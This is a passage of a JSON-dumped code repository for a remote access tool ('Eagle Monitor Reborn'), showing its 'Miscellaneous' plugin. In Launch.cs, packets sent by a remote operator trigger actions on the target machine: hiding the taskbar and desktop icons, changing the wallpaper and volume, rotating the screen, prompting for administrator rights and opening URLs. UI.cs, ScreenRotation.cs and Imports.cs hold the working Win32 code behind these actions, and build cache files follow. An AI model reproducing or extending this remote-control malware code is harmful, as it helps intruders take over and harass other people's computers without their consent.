</xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"VerifyIgnoreCodes\" type=\"xs:string\">\n        <xs:annotation>\n          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"GenerateXsd\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n    </xs:complexType>\n  </xs:element>\n</xs:schema>"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/Imports.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n|| Inspiration : inferno from LimerBoy : https://github.com/arsium/Inferno ||\n*/\n\nnamespace Plugin\n{\n    internal static class Imports\n    {\n\t\t#region \"ntdll\"\n\t\tprivate const string ntdll = \"ntdll.dll\";\n\t\t[DllImport(ntdll)]\n\t\tinternal static extern uint NtTerminateProcess(IntPtr hProcess, int errorStatus);\n\t\t#endregion\n\t\t#region \"user32\"\n\t\tprivate const string user32 = \"user32.dll\";\n\n        internal const int APPCOMMAND_VOLUME_MUTE =         0x80000;\n        internal const int APPCOMMAND_VOLUME_DOWN =         0x90000;\n        internal const int APPCOMMAND_VOLUME_UP =           0xA0000;\n        internal const int WM_APPCOMMAND =                  0x319;\n\n        internal const uint SPI_SETDESKWALLPAPER =          0x14;\n        internal const uint SPIF_UPDATEINIFILE =            0x01;\n        internal const uint SPIF_SENDWININICHANGE =         0x02;\n\n        internal const int SW_HIDE =                        0x0;\n        internal const int SW_NORMAL =                      0x1;\n        internal const int SW_SHOW =                        0x5;\n\n        internal const int DMDO_DEFAULT = 0;\n        internal const int DMDO_90 = 1;\n        internal const int DMDO_180 = 2;\n        internal const int DMDO_270 = 3;\n\n        internal const int ENUM_CURRENT_SETTINGS = -1;\n\n\n\t\tinternal enum Orientations\n\t\t{\n\t\t\tDEGREES_CW_0 = 0,\n\t\t\tDEGREES_CW_90 = 3,\n\t\t\tDEGREES_CW_180 = 2,\n\t\t\tDEGREES_CW_270 = 1\n\t\t}\n\n\t\t[StructLayout(LayoutKind.Explicit, CharSet = CharSet.Ansi)]\n\t\tinternal struct DEVMODE\n\t\t{\n\t\t\tinternal const int CCHDEVICENAME = 32;\n\t\t\tinternal const int CCHFORMNAME = 32;\n\n\t\t\t[MarshalAs(UnmanagedType.ByValTStr, SizeConst = CCHDEVICENAME)]\n\t\t\t[FieldOffset(0)]\n\t\t\tinternal string dmDeviceName;\n\t\t\t[FieldOffset(32)]\n\t\t\tinternal Int16 dmSpecVersion;\n\t\t\t[FieldOffset(34)]\n\t\t\tinternal Int16 dmDriverVersion;\n\t\t\t[FieldOffset(36)]\n\t\t\tinternal Int16 dmSize;\n\t\t\t[FieldOffset(38)]\n\t\t\tinternal Int16 dmDriverExtra;\n\t\t\t[FieldOffset(40)]\n\t\t\tinternal DM dmFields;\n\n\t\t\t[FieldOffset(44)]\n\t\t\tprivate Int16 dmOrientation;\n\t\t\t[FieldOffset(46)]\n\t\t\tprivate Int16 dmPaperSize;\n\t\t\t[FieldOffset(48)]\n\t\t\tprivate Int16 dmPaperLength;\n\t\t\t[FieldOffset(50)]\n\t\t\tprivate Int16 dmPaperWidth;\n\t\t\t[FieldOffset(52)]\n\t\t\tprivate Int16 dmScale;\n\t\t\t[FieldOffset(54)]\n\t\t\tprivate Int16 dmCopies;\n\t\t\t[FieldOffset(56)]\n\t\t\tprivate Int16 dmDefaultSource;\n\t\t\t[FieldOffset(58)]\n\t\t\tprivate Int16 dmPrintQuality;\n\n\t\t\t[FieldOffset(44)]\n\t\t\tinternal POINTL dmPosition;\n\t\t\t[FieldOffset(52)]\n\t\t\tinternal Int32 dmDisplayOrientation;\n\t\t\t[FieldOffset(56)]\n\t\t\tinternal Int32 dmDisplayFixedOutput;\n\n\t\t\t[FieldOffset(60)]\n\t\t\tinternal short dmColor;\n\t\t\t[FieldOffset(62)]\n\t\t\tinternal short dmDuplex;\n\t\t\t[FieldOffset(64)]\n\t\t\tinternal short dmYResolution;\n\t\t\t[FieldOffset(66)]\n\t\t\tinternal short dmTTOption;\n\t\t\t[FieldOffset(68)]\n\t\t\tinternal short dmCollate;\n\t\t\t[FieldOffset(72)]\n\t\t\t[MarshalAs(UnmanagedType.ByValTStr, SizeConst = CCHFORMNAME)]\n\t\t\tinternal string dmFormName;\n\t\t\t[FieldOffset(102)]\n\t\t\tinternal Int16 dmLogPixels;\n\t\t\t[FieldOffset(104)]\n\t\t\tinternal Int32 dmBitsPerPel;\n\t\t\t[FieldOffset(108)]\n\t\t\tinternal Int32 dmPelsWidth;\n\t\t\t[FieldOffset(112)]\n\t\t\tinternal Int32 dmPelsHeight;\n\t\t\t[FieldOffset(116)]\n\t\t\tinternal Int32 dmDisplayFlags;\n\t\t\t[FieldOffset(116)]\n\t\t\tinternal Int32 dmNup;\n\t\t\t[FieldOffset(120)]\n\t\t\tinternal Int32 dmDisplayFrequency;\n\t\t}\n\n\t\t// See: https://msdn.microsoft.com/en-us/library/windows/desktop/dd183569(v=vs.85).aspx\n\t\t[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]\n\t\tinternal struct DISPLAY_DEVICE\n\t\t{\n\t\t\t[MarshalAs(UnmanagedType.U4)]\n\t\t\tinternal int cb;\n\t\t\t[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)]\n\t\t\tinternal string DeviceName;\n\t\t\t[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]\n\t\t\tinternal string DeviceString;\n\t\t\t[MarshalAs(UnmanagedType.U4)]\n\t\t\tinternal DisplayDeviceStateFlags StateFlags;\n\t\t\t[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]\n\t\t\tinternal string DeviceID;\n\t\t\t[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]\n\t\t\tinternal string DeviceKey;\n\t\t}\n\n\t\t// See: https://msdn.microsoft.com/de-de/library/windows/desktop/dd162807(v=vs.85).aspx\n\t\t[StructLayout(LayoutKind.Sequential)]\n\t\tinternal struct POINTL\n\t\t{\n\t\t\tprivate long x;\n\t\t\tprivate long y;\n\t\t}\n\n\t\tinternal enum DISP_CHANGE : int\n\t\t{\n\t\t\tSuccessful = 0,\n\t\t\tRestart = 1,\n\t\t\tFailed = -1,\n\t\t\tBadMode = -2,\n\t\t\tNotUpdated = -3,\n\t\t\tBadFlags = -4,\n\t\t\tBadParam = -5,\n\t\t\tBadDualView = -6\n\t\t}\n\n\t\t// http://www.pinvoke.net/default.aspx/Enums/DisplayDeviceStateFlags.html\n\t\t[Flags()]\n\t\tinternal enum DisplayDeviceStateFlags : int\n\t\t{\n\t\t\t/// <summary>The device is part of the desktop.</summary>\n\t\t\tAttachedToDesktop = 0x1,\n\t\t\tMultiDriver = 0x2,\n\t\t\t/// <summary>The device is part of the desktop.</summary>\n\t\t\tPrimaryDevice = 0x4,\n\t\t\t/// <summary>Represents a pseudo device used to mirror application drawing for remoting or other purposes.</summary>\n\t\t\tMirroringDriver = 0x8,\n\t\t\t/// <summary>The device is VGA compatible.</summary>\n\t\t\tVGACompatible = 0x10,\n\t\t\t/// <summary>The device is removable; it cannot be the primary display.</summary>\n\t\t\tRemovable = 0x20,\n\t\t\t/// <summary>The device has more display modes than its output devices support.</summary>\n\t\t\tModesPruned = 0x8000000,\n\t\t\tRemote = 0x4000000,\n\t\t\tDisconnect = 0x2000000\n\t\t}\n\n\t\t// http://www.pinvoke.net/default.aspx/user32/ChangeDisplaySettingsFlags.html\n\t\t[Flags()]\n\t\tinternal enum DisplaySettingsFlags : int\n\t\t{\n\t\t\tCDS_NONE = 0,\n\t\t\tCDS_UPDATEREGISTRY = 0x1,\n\t\t\tCDS_TEST = 0x2,\n\t\t\tCDS_FULLSCREEN = 0x4,\n\t\t\tCDS_GLOBAL = 0x8,\n\t\t\tCDS_SET_PRIMARY = 0x10,\n\t\t\tCDS_VIDEOPARAMETERS = 0x20,\n\t\t\tCDS_ENABLE_UNSAFE_MODES = 0x100,\n\t\t\tCDS_DISABLE_UNSAFE_MODES = 0x200,\n\t\t\tCDS_RESET = 0x40000000,\n\t\t\tCDS_RESET_EX = 0x20000000,\n\t\t\tCDS_NORESET = 0x10000000\n\t\t}\n\n\t\t[Flags()]\n\t\tinternal enum DM : int\n\t\t{\n\t\t\tOrientation = 0x1,\n\t\t\tPaperSize = 0x2,\n\t\t\tPaperLength = 0x4,\n\t\t\tPaperWidth = 0x8,\n\t\t\tScale = 0x10,\n\t\t\tPosition = 0x20,\n\t\t\tNUP = 0x40,\n\t\t\tDisplayOrientation = 0x80,\n\t\t\tCopies = 0x100,\n\t\t\tDefaultSource = 0x200,\n\t\t\tPrintQuality = 0x400,\n\t\t\tColor = 0x800,\n\t\t\tDuplex = 0x1000,\n\t\t\tYResolution = 0x2000,\n\t\t\tTTOption = 0x4000,\n\t\t\tCollate = 0x8000,\n\t\t\tFormName = 0x10000,\n\t\t\tLogPixels = 0x20000,\n\t\t\tBitsPerPixel = 0x40000,\n\t\t\tPelsWidth = 0x80000,\n\t\t\tPelsHeight = 0x100000,\n\t\t\tDisplayFlags = 0x200000,\n\t\t\tDisplayFrequency = 0x400000,\n\t\t\tICMMethod = 0x800000,\n\t\t\tICMIntent = 0x1000000,\n\t\t\tMediaType = 0x2000000,\n\t\t\tDitherType = 0x4000000,\n\t\t\tPanningWidth = 0x8000000,\n\t\t\tPanningHeight = 0x10000000,\n\t\t\tDisplayFixedOutput = 0x20000000\n\t\t}\n\n\t\t\n\t\t[DllImport(user32)]\n        internal static extern uint SystemParametersInfo(uint action, uint uParam, string vParam, uint winIni);\n        [DllImport(user32)]\n        internal static extern IntPtr SendMessage(IntPtr hWnd, int Msg, IntPtr wParam, int lParam);\n        [DllImport(user32)]\n        internal static extern IntPtr FindWindow(string lpClassName, string lpWindowName);\n        [DllImport(user32)]\n        internal static extern bool ShowWindow(IntPtr hwnd, int nCmdShow);\n        [DllImport(user32)]\n        internal static extern IntPtr FindWindowEx(IntPtr parentHandle, IntPtr childAfter, string lclassName, string windowTitle);\n\n        [DllImport(user32)]\n        internal extern static DISP_CHANGE ChangeDisplaySettingsEx(string lpszDeviceName, ref DEVMODE lpDevMode, IntPtr hwnd, DisplaySettingsFlags dwflags, IntPtr lParam);\n\n        [DllImport(user32)]\n        internal extern static bool EnumDisplayDevices(string lpDevice, uint iDevNum, ref DISPLAY_DEVICE lpDisplayDevice, uint dwFlags);\n\n        [DllImport(user32)]\n        internal extern static int EnumDisplaySettings(string lpszDeviceName, int iModeNum, ref DEVMODE lpDevMode);\n\n        #endregion\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/Launch.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    public static class Launch\n    {\n        public static void Main(LoadingAPI loadingAPI)\n        {\n            switch (loadingAPI.CurrentPacket.PacketType) \n            {\n                case PacketType.MISC_AUDIO_UP:\n                    Audio.IncreaseVolume();\n                    break;\n\n                case PacketType.MISC_AUDIO_DOWN:\n                    Audio.DecreaseVolume();\n                    break;\n\n                case PacketType.MISC_HIDE_TASKBAR:\n                    UI.HideTaskBar();\n                    break;\n\n                case PacketType.MISC_SHOW_TASKBAR:\n                    UI.ShowTaskBar();\n                    break;\n\n                case PacketType.MISC_SET_WALLPAPER:\n                    WallPaperPacket wallPaperPacket = (WallPaperPacket)loadingAPI.CurrentPacket;\n                    UI.SetWallpaper(Compressor.QuickLZ.Decompress(wallPaperPacket.wallpaper), wallPaperPacket.ext);\n                    break;\n\n                case PacketType.MISC_HIDE_DESKTOP_ICONS:\n                    UI.HideDesktopIcons();\n                    break;\n\n                case PacketType.MISC_SHOW_DESKTOP_ICONS:\n                    UI.ShowDesktopIcons();\n                    break;\n\n                case PacketType.MISC_SCREEN_ROTATION:\n                    ScreenRotationPacket screenRotationPacket = (ScreenRotationPacket)loadingAPI.CurrentPacket;\n                    ScreenRotation.Rotate(screenRotationPacket.degrees);\n                    break;\n\n                case PacketType.MISC_ASK_ADMIN_RIGHTS:\n                    Admin.AskAdminRight();\n                    break;\n\n                case PacketType.MISC_OPEN_WEBSITE_LINK:\n                    Link.OpenLink(((OpenUrlPacket)loadingAPI.CurrentPacket).url);\n                    break;\n\n                default:\n                    return;\n            }\n            Miscellaneous.CleanMemory();\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/Link.cs",
    "content": "﻿using System.Diagnostics;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal static class Link\n    {\n        internal static void OpenLink(string url) \n        {\n            Process.Start(url);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/Miscellaneous.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{EAEC4642-636D-4312-8903-D70157A8E91C}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>Plugin</RootNamespace>\n    <AssemblyName>Miscellaneous</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>false</DebugSymbols>\n    <DebugType>none</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>..\\..\\bin\\Debug\\Plugins\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Plugins\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL\">\n      <HintPath>..\\..\\..\\packages\\Costura.Fody.4.1.0\\lib\\net40\\Costura.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Drawing\" />\n    <Reference Include=\"System.Windows.Forms\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"Admin.cs\" />\n    <Compile Include=\"Audio.cs\" />\n    <Compile Include=\"Imports.cs\" />\n    <Compile Include=\"Launch.cs\" />\n    <Compile Include=\"Link.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"ScreenRotation.cs\" />\n    <Compile Include=\"UI.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n</Project>"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"Miscellaneous\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"Miscellaneous\")]\n[assembly: AssemblyCopyright(\"Arsium © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"eaec4642-636d-4312-8903-d70157a8e91c\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/ScreenRotation.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing static Plugin.Imports;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n|| Inspiration : inferno from LimerBoy : https://github.com/arsium/Inferno ||\n*/\n\nnamespace Plugin\n{\n    internal class ScreenRotation\n    {\n\t\tprivate static bool RotateScreen(uint DisplayNumber, Orientations Orientation)\n\t\t{\n\t\t\tif (DisplayNumber == 0)\n\t\t\t{\n\t\t\t\tthrow new ArgumentOutOfRangeException(\"DisplayNumber\", DisplayNumber, \"First display is 1.\");\n\t\t\t}\n\n\t\t\tbool result = false;\n\t\t\tDISPLAY_DEVICE d = new DISPLAY_DEVICE();\n\t\t\tDEVMODE dm = new DEVMODE();\n\t\t\td.cb = Marshal.SizeOf(d);\n\n\t\t\tif (!Imports.EnumDisplayDevices(null, DisplayNumber - 1, ref d, 0))\n\t\t\t{\n\t\t\t\tthrow new ArgumentOutOfRangeException(\"DisplayNumber\", DisplayNumber, \"Number is greater than connected displays.\");\n\t\t\t}\n\n\t\t\tif (0 != Imports.EnumDisplaySettings(d.DeviceName, Imports.ENUM_CURRENT_SETTINGS, ref dm))\n\t\t\t{\n\t\t\t\tif ((dm.dmDisplayOrientation + Convert.ToInt32(Orientation)) % 2 == 1) // Need to swap height and width?\n\t\t\t\t{\n\t\t\t\t\tint temp = dm.dmPelsHeight;\n\t\t\t\t\tdm.dmPelsHeight = dm.dmPelsWidth;\n\t\t\t\t\tdm.dmPelsWidth = temp;\n\t\t\t\t}\n\n\t\t\t\tswitch (Orientation)\n\t\t\t\t{\n\t\t\t\t\tcase Orientations.DEGREES_CW_90:\n\t\t\t\t\t\tdm.dmDisplayOrientation = Imports.DMDO_270;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase Orientations.DEGREES_CW_180:\n\t\t\t\t\t\tdm.dmDisplayOrientation = Imports.DMDO_180;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase Orientations.DEGREES_CW_270:\n\t\t\t\t\t\tdm.dmDisplayOrientation = Imports.DMDO_90;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase Orientations.DEGREES_CW_0:\n\t\t\t\t\t\tdm.dmDisplayOrientation = Imports.DMDO_DEFAULT;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tDISP_CHANGE ret = Imports.ChangeDisplaySettingsEx(d.DeviceName, ref dm, IntPtr.Zero, DisplaySettingsFlags.CDS_UPDATEREGISTRY, IntPtr.Zero);\n\n\t\t\t\tresult = (int)ret == 0;\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\n\t\tinternal static void Rotate(string degrees)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tuint i = 0;\n\t\t\t\ti += 1;\n\n\t\t\t\twhile (i <= 64)\n\t\t\t\t{\n\t\t\t\t\tswitch (degrees)\n\t\t\t\t\t{\n\t\t\t\t\t\tcase \"0\":\n\t\t\t\t\t\t\tRotateScreen(i, Orientations.DEGREES_CW_0);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \"90\":\n\t\t\t\t\t\t\tRotateScreen(i, Orientations.DEGREES_CW_90);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \"180\":\n\t\t\t\t\t\t\tRotateScreen(i, Orientations.DEGREES_CW_180);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \"270\":\n\t\t\t\t\t\t\tRotateScreen(i, Orientations.DEGREES_CW_270);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\ti += 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch {}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/UI.cs",
    "content": "﻿using Microsoft.Win32;\nusing System;\nusing System.Drawing;\nusing System.Drawing.Imaging;\nusing System.IO;\nusing static Plugin.Imports;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class UI\n    {\n        internal static void HideTaskBar()\n        {\n            ShowWindow(FindWindow(\"Shell_TrayWnd\", null), SW_HIDE);\n        }\n\n        internal static void ShowTaskBar()\n        {\n            ShowWindow(FindWindow(\"Shell_TrayWnd\", null), SW_NORMAL);\n        }\n\n        internal static void SetWallpaper(byte[] file, string ext)\n        {\n            string path1 = Path.Combine(Path.GetTempFileName() + ext);\n            string path2 = Path.Combine(Path.GetTempFileName() + ext);\n            File.WriteAllBytes(path1, file);\n\n            using (Bitmap bmp = new Bitmap(path1))\n            using (Graphics graphics = Graphics.FromImage(bmp))\n            {\n                bmp.Save(path2, ImageFormat.Bmp);\n            }\n            using (RegistryKey key = Registry.CurrentUser.OpenSubKey(@\"Control Panel\\Desktop\", true))\n            {\n                key.SetValue(\"WallpaperStyle\", 2.ToString());\n                key.SetValue(\"TileWallpaper\", 0.ToString());\n            }\n            SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, path2, SPIF_UPDATEINIFILE | SPIF_SENDWININICHANGE);\n        }\n\n        internal static void HideDesktopIcons()\n        {\n            IntPtr progManager = FindWindow(\"Progman\", null);\n            //If (progManager) ??\n            IntPtr desktop = FindWindowEx(progManager, IntPtr.Zero, \"SHELLDLL_DefView\", null);\n            //If (desktop) ??\n            IntPtr handle = FindWindowEx(desktop, IntPtr.Zero, \"SysListView32\", null);\n            ShowWindow(handle, SW_HIDE);\n        }\n\n        internal static void ShowDesktopIcons()\n        {\n            IntPtr progManager = FindWindow(\"Progman\", null);\n            //If (progManager) ??\n            IntPtr desktop = FindWindowEx(progManager, IntPtr.Zero, \"SHELLDLL_DefView\", null);\n            //If (desktop) ??\n            IntPtr handle = FindWindowEx(desktop, IntPtr.Zero, \"SysListView32\", null);\n            ShowWindow(handle, SW_SHOW);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/obj/Debug/Miscellaneous.csproj.CopyComplete",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/obj/Debug/Miscellaneous.csproj.CoreCompileInputs.cache",
    "content": "8d77bb1bc688a014ccae57128c5c3f64b93d9fb8\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/obj/Debug/Miscellaneous.csproj.FileListAbsolute.txt",
    "content": "E:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\Miscellaneous.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Debug\\Miscellaneous.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Debug\\Miscellaneous.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Debug\\Miscellaneous.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Debug\\Miscellaneous.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\Miscellaneous.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Debug\\Miscellaneous.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Debug\\Miscellaneous.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Debug\\Miscellaneous.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Debug\\Miscellaneous.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Debug\\Miscellaneous.csproj.CopyComplete\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/obj/Debug/Miscellaneous.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/obj/Debug/Random.csproj.CoreCompileInputs.cache",
    "content": "4b8694c33b3eca502aecbbec1fb1e264281d1b7f\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/obj/Debug/Random.csproj.FileListAbsolute.txt",
    "content": "E:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\Miscellaneous.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\Miscellaneous.pdb\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Debug\\Random.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Debug\\Random.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Debug\\Random.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Debug\\Miscellaneous.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Debug\\Miscellaneous.pdb\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/obj/Debug/Random.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/obj/Debug/build.force",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.csproj.CoreCompileInputs.cache",
    "content": "cd9b06406ebb28e7e921fa4a339edcfd2546bab0\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.csproj.FileListAbsolute.txt",
